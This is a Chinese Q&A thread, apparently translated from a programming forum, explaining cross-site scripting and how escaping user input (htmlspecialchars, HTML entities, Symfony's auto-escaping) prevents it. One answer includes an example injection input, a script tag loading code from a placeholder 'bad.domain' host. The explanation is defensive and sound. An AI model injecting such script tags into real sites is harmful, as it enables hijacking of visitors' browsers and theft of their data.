2010-01-29 136 views

回答

1

XSS或Cross Site Scripting是當別人獲得他們的JavaScript來由您的服務器提供服務。例如,如果您可以從google.com獲得隨機的javascript,那麼您可以讓該JavaScript向您發送所有Google知道的信息,並向其提供服務。

避免可能來自用戶(而不是來自服務器/內容作者)的這些數據具有角括號和其他類似HTML的內容,因此它們不會被最終用戶執行。

+0

你的意思是把'<'改成'"'等等? – user261527 2010-01-29 03:42:36

+0

您不會將'<'更改爲'"'。你會把它改成'<'。 – 2010-01-29 03:46:57

+0

是的,將重要的元字符更改爲顯示正確字形的實體,但沒有相同的處理效果。 – 2010-01-29 04:10:19

7

XSS是「跨站點腳本」的縮寫。如果您設法將腳本(通常是javascript)隱藏到其他人的網站上,並且可以惡意運行,則會發生跨站點腳本攻擊。

當用戶輸入到網站時,XSS是可能的。例如,如果我填寫了網絡表單,並且詢問了我的姓名,我可以輸入My name is <script src="http://bad.domain/evilscript.js"></script>。如果我提交表單,然後在下一頁上要求我確認我的詳細信息,並且重新輸出我輸入的內容,則我輸入的令人討厭的HTML標記將得到呈現,並且腳本將被瀏覽器下載並運行。

爲了防止這種情況,您需要轉義用戶輸入。轉義意味着您轉換(或標記)數據的關鍵字符以防止它在危險的情況下被解釋。在HTML輸出的情況下,您需要轉換<>字符(以及其他字符),以防止呈現任何有害的HTML。轉義這些字符涉及將它們轉換爲它們的實體對等&lt;&gt;(請參閱PHP的htmlspecialchars()函數),它不會被瀏覽器解釋爲HTML標記。

Symfony試圖告訴您的是,它有能力自動爲您的輸出執行此操作,並啓用該功能。

+3

請注意,轉義取決於上下文。請參閱http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet,尤其是XSS預防規則 – Erlend 2010-01-31 10:54:34